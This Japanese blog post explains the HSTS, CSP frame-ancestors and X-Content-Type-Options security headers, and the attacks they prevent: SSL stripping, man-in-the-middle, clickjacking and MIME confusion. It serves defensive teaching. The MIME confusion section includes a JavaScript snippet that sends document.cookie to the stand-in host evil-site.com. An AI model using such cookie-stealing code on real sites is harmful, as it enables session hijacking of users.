# 「Webサービス公開前のチェックリスト」にあるレスポンスヘッダの内容を調べてみる

  ## はじめに

レスポンスヘッダの設定値をあまり気にしてきたことがなかったので、下記記事で公開されているレスポンスヘッダの内容を調べてみました。

https://zenn.dev/catnose99/articles/547cbf57e5ad28

記載されている内容は下記の 3 つです。

- Strict-Transport-Security
- Content-Security-Policy: frame-ancestors
- X-Content-Type-Options: nosniff

実際に確認していきましょう！

## Strict-Transport-Security (HSTS) の詳細解説

### 背景と基本概念

HTTP Strict Transport Security (HSTS) は、Web サイトが「HTTPS 接続のみを使用する」ことをブラウザに強制的に指示するための仕組みです。
これは単なる推奨ではなく、ブラウザに対する「命令」として機能します。

従来の HTTP 通信では、最初に HTTP でアクセスした後、サーバーからリダイレクトを受けて HTTPS に切り替えるというプロセスが一般的でした。
この「HTTP→HTTPS」の移行過程に潜在的なセキュリティホールが存在していました。HSTS はこの問題を解決するために設計されています。

https://developer.mozilla.org/ja/docs/Web/HTTP/Reference/Headers/Strict-Transport-Security

### 実際の攻撃(SSLストリッピング攻撃)

2009 年、セキュリティ研究者の Moxie Marlinspike 氏が「sslstrip」というツールを発表しました。このツールは、ユーザーとウェブサイト間の通信を傍受し、HTTPS 接続を HTTP にダウングレードするという攻撃(SSL ストリッピング攻撃)を可能にします。

以下のような例です。

1. ユーザーが「example.com」とブラウザに入力する(HTTPS を明示的に指定していない)
2. ブラウザは最初に HTTP 経由でリクエストを送信
3. 通常なら、サーバーは「https://~~」へのリダイレクトを返す
4. しかし、中間者攻撃者がこの通信を傍受
5. 攻撃者は、リダイレクトを捕捉し、以降の通信を暗号化されていない HTTP で続行
6. ユーザーは安全な接続を使用していると思い込むが、実際には攻撃者に全通信を監視されている

この攻撃は、公共 Wi-Fi などの信頼できないネットワークで非常に危険です。
ユーザーは HTTPS の鍵アイコンを見ないかもしれませんが、多くの場合そのような細かい点を見落としがちです。

> [!NOTE]
> 公共Wi-Fiを接続するときは鍵アイコン(HTTPS)が設定されていることを確認しましょう。

### HSTSの仕組みと効果

HSTS はこの問題に対処するために、Web サイトが以下の指示をブラウザに送ることを可能にします。

```bash
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
```

### パラメータの詳細

- max-age: ブラウザがこのポリシーを記憶し、適用すべき期間(秒単位)。上記の例では 1 年間。
- includeSubDomains: このポリシーをメインドメインだけでなく、すべてのサブドメイン(例：blog.example.com, shop.example.com)にも適用するという指示。
- preload: ブラウザのビルトイン HSTS リストに含めるための指示。

### 実際の動作プロセス

1. ユーザーが初めて(または max-age 期間経過後に)HTTPS で Web サイトにアクセスする
2. サーバーはレスポンスヘッダーで HSTS ポリシーを送信
3. ブラウザはこのポリシーを保存し、指定された期間中、そのドメインへのすべてのアクセスを自動的に HTTPS にアップグレード
4. 以降、ユーザーが「http://～～」と入力しても、ブラウザは内部で「https://～～」に変換してからリクエストを送信

最初の HTTPS アクセス以降は、中間者攻撃者が HTTP にダウングレードする機会が一切なくなります。

### 設定しないことのリスク

あるユーザーが公共 Wi-Fi からオンラインバンキングにアクセスするシナリオを考えてみましょう。
銀行サイトが HSTS を実装していない場合は、このような事象が発生するかもしれません。

1. ユーザーがブラウザのアドレスバーに「mybank.com」と入力
2. 攻撃者が中間者攻撃を仕掛け、HTTP 接続を維持したまま、バンク風の偽サイトを表示
3. ユーザーは偽サイトに自分のユーザー名とパスワードを入力
4. 攻撃者はこの情報を捕捉し、実際の銀行サイトに転送して認証を完了
5. ユーザーは正常にログインできたと思い込み、攻撃に気付かない

## 中間者攻撃

中間者攻撃(MITM 攻撃)とは、通信を行っている二者(例えばユーザーとウェブサイト)の間に第三者が入り込み、両者は互いに直接通信していると思っているのに、実際にはその第三者が通信を傍受・監視・改ざんしている状態を指します。

https://developer.mozilla.org/ja/docs/Glossary/MitM

### 基本的な仕組み

1. 通信の傍受: 攻撃者はユーザーとサーバー間の通信経路に自分を位置させます
2. 仲介役: 攻撃者は両方に対して「相手のふり」をします
   - ユーザーに対してはサーバーのふり
   - サーバーに対してはユーザーのふり
3. 情報の流れ: 情報が以下のように流れます

   ```bash
   ユーザー → 攻撃者 → サーバー
   サーバー → 攻撃者 → ユーザー
   ```

### よくある攻撃シナリオ

1. 攻撃者がカフェなどで「Free Wi-Fi」という偽のアクセスポイントを設置
2. ユーザーが何も疑わずに接続
3. すべての通信が攻撃者を経由
4. 暗号化されていない情報(HTTP 通信など)はすべて攻撃者に見られる

### 攻撃の具体的な影響

- 情報の盗難: パスワード、クレジットカード情報、個人情報など
- セッションハイジャック: ログイン情報を盗んでユーザーになりすます
- データの改ざん: 送受信される情報を変更する(例：銀行振込先の口座番号を変更)
- マルウェア注入: ダウンロードファイルにマルウェアを追加する

## Content-Security-Policy: frame-ancestors

### 背景と基本概念

Content Security Policy (CSP) は、クロスサイトスクリプティング (XSS) やその他のコンテンツインジェクション攻撃からウェブサイトを保護するために設計されたセキュリティレイヤーです。
CSP は複数のディレクティブで構成されており、その中の 1 つが `frame-ancestors` ディレクティブです。

`frame-ancestors` ディレクティブは、どのサイトがあなたのウェブページを iframe、frame、object、embed、applet などの要素内に表示(埋め込み)できるかを制御します。

これは「クリックジャッキング」と呼ばれる攻撃から保護するために導入されました。

https://developer.mozilla.org/ja/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/frame-ancestors

### クリックジャッキング攻撃とその歴史

クリックジャッキングは、悪意のあるサイトが透明な iframe を使用して、ユーザーに見えない形で別のウェブサイトを埋め込みます。

### 典型的なクリックジャッキング攻撃のシナリオ

1. 攻撃者は魅力的なコンテンツ(例：「無料プレゼントをゲット！」といったボタン)を持つウェブサイトを作成します
2. そのページの背後に、透明な iframe で標的となるウェブサイト(例：Facebook の「いいね！」ボタンや銀行の送金フォーム)を配置します
3. ユーザーがその魅力的なボタンをクリックしようとすると、実際には透明な iframe の中の「いいね！」ボタンや「送金を承認」ボタンをクリックすることになります

### 従来の対策とその限界: X-Frame-Options

クリックジャッキングへの最初の対応策として、2009 年に Microsoft が `X-Frame-Options` HTTP ヘッダーを導入しました。このヘッダーは 3 つの値をサポートしていました:

- `DENY`: ページをフレーム内に表示することを完全に禁止
- `SAMEORIGIN`: 同一オリジンからのフレーミングのみを許可
- `ALLOW-FROM uri`: 特定の URI からのフレーミングのみを許可

しかし `X-Frame-Options` にはいくつかの制限がありました。

1. 複数のドメインを許可するメカニズムがなかった(`ALLOW-FROM` は一度に 1 つの URI しか指定できない)
2. ブラウザのサポートが不完全だった(特に `ALLOW-FROM` のサポート)
3. CSP の他のセキュリティ機能と統合できなかった

これらの制限を解消するために、CSP の `frame-ancestors` ディレクティブが導入されました。

## CSP frame-ancestors の動作メカニズム

`frame-ancestors` ディレクティブは、以下のような構文で使用されます:

```bash
Content-Security-Policy: frame-ancestors <source> <source> ...
```

ここで `<source>` は以下のいずれかになります:

- `'none'`: どのサイトからもフレーム内に表示されることを許可しない
- `'self'`: 同一オリジンからのフレーミングのみを許可
- `<origin>`: 特定のオリジン(例：trusted-site.com)からのフレーミングを許可
- `*`: 任意のオリジンからのフレーミングを許可(非推奨)

### frame-ancestors の実際の動作

ブラウザがウェブページを読み込もうとした際、そのページが iframe などのフレーム内に表示されている場合、ブラウザは以下の手順でチェックを行います。

1. そのページの CSP `frame-ancestors` ディレクティブを確認
2. 現在のフレーミングサイト(親ページ)のオリジンが許可リストに含まれているかを検証
3. 含まれていない場合、ブラウザはフレームの読み込みをブロック

### 具体的な設定例と意味

```bash
Content-Security-Policy: frame-ancestors 'self'
```

→ 同一オリジンのサイトだけがこのページをフレーム内に表示できる

```bash
Content-Security-Policy: frame-ancestors 'none'
```

→ どのサイトもこのページをフレーム内に表示できない

```bash
Content-Security-Policy: frame-ancestors https://trusted-partner.com https://admin.company.com
```

→ trusted-partner.com と admin.company.com のみがこのページをフレーム内に表示できる

### 設定しないことによるリスク

`frame-ancestors` を設定していない場合、以下のようなリスクが発生します。

### クリックジャッキング攻撃への脆弱性

上記のクリックジャッキング攻撃にさらされることです。
ユーザーは意図しないアクションを実行させられる可能性があります。
具体的には以下のような事象です。

- 知らないうちに資金を送金
- 意図しないソーシャルメディア投稿
- アカウント設定の変更
- プライバシー情報へのアクセス許可

## X-Content-Type-Options: nosniff

### 背景と基本概念

このヘッダーは「MIME Type スニッフィング」と呼ばれるブラウザの機能に関連しています
MIME Type(Multipurpose Internet Mail Extensions)は、ウェブ上で交換されるファイルの形式を示す識別子です。
例えば、HTML ファイルは `text/html`、JavaScript ファイルは `application/javascript`、JPEG イメージは `image/jpeg` などの MIME Type で識別されます。

### MIMEタイプスニッフィングとは

ブラウザが受け取ったコンテンツの MIME Type を決定する際、通常はサーバーからレスポンスで送られる `Content-Type` ヘッダーを参照します。
しかし、以下のような状況が発生することがあります。

1. サーバーが `Content-Type` ヘッダーを送信しない
2. 送信された MIME Type が不正確である(設定ミスなど)
3. ファイルの実際の内容と宣言された MIME Type が一致しない

こうした状況に対応するため、ブラウザは「MIME Type スニッフィング」と呼ばれる技術を使用します。
この技術ではブラウザがファイルの内容を検査して、それが何の種類のファイルであるかを推測します。

例えば、HTML のタグが含まれているファイルは、宣言された MIME Type に関わらず、HTML ファイルとして処理される可能性があります。
このスニッフィング機能は不適切に設定されたサーバーからのコンテンツを正しく表示するために役立つ場合がありますが、セキュリティリスクも生じさせます。

### MIME混同攻撃の実態

MIME 混同攻撃(MIME Confusion Attack)は、ブラウザの MIME Type スニッフィングを悪用して、悪意のあるコードを実行させる攻撃です。以下に実例を示します。

### テキストファイルとして配信されるJavaScript

サイトがユーザーからテキストファイルのアップロードを許可していたとします。攻撃者は次のようなスクリプトを含む「innocent.txt」ファイルをアップロードします。

```javascript
alert('Your site has been hacked');
document.cookie = 'stolenCookie=' + document.cookie;
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://evil-site.com/steal?cookie=' + document.cookie, true);
xhr.send();
```

このファイルは `text/plain` MIME Type でサーバーに保存され、同じ MIME Type で配信されます。
通常、ブラウザはこれをプレーンテキストとして扱うべきですが、MIME Type スニッフィングが有効な場合、ブラウザはこの内容を解析して「これは JavaScript かもしれない」と判断する可能性があります。
このファイルが `<script src="uploads/innocent.txt"></script>` のように Web ページに含まれていた場合、スクリプトが実行され、ユーザーのクッキーが攻撃者のサイトに送信されてしまいます。

### X-Content-Type-Options: nosniff の仕組み

`X-Content-Type-Options: nosniff` ヘッダーを設定すると、ブラウザの MIME Type スニッフィングが無効になります。
これにより、サーバーが宣言した MIME Type のみが尊重され、内容に基づく推測は行われなくなります。
具体的には、以下のような状況で保護が提供されます。

1. スクリプトとスタイルシートのコンテキスト
   - `<script>` または `<style>` タグでリソースが読み込まれる場合、宣言された MIME Type が正しくない場合はブロックされる
   - 例えば、`text/plain` MIME Type のリソースが `<script>` タグで読み込まれても実行されない
2. 画像のコンテキスト
   - `<img>` タグで読み込まれるリソースは、適切な画像 MIME Type であることが必要
   - 画像でないコンテンツが画像として読み込まれようとした場合、ブロックされる

### 実装方法

この保護を有効にするには、サーバーのレスポンスヘッダーに以下を含める必要があります。

```bash
X-Content-Type-Options: nosniff
```

このヘッダーは唯一の値である `nosniff` のみをサポートしています。

### 設定しないことによるリスク

`X-Content-Type-Options: nosniff` ヘッダーを設定しない場合、以下のようなリスクが考えられます。

### クロスサイトスクリプティング (XSS) の脆弱性拡大

ウェブサイトがユーザーからのファイルアップロードを許可している場合、適切な MIME Type 制御がなければ、悪意のあるスクリプトが実行される可能性が高まります。テキストファイルとしてアップロードされた悪意のある JavaScript が、スニッフィングによって実行可能になる危険があります。

### クロスサイトコンテンツハイジャッキング

2017 年には、MIME Type スニッフィングを利用して、あるソーシャルメディアプラットフォームのプライベートコンテンツを盗み出す手法が発見されました。

攻撃者はユーザーを罠サイトに誘導し、スニッフィングを利用してプラットフォームのプライベート JSON データを読み取ることができました。これは `X-Content-Type-Options: nosniff` ヘッダーで防止できたはずのものです。

## まとめ

これらのセキュリティヘッダーを実装するだけで、安全な Web サイト運営に近づくことができます。
セキュリティは複雑ですが、まずはこの 3 つの対策で主要な脅威からできる限りの対策はしていきましょう。
    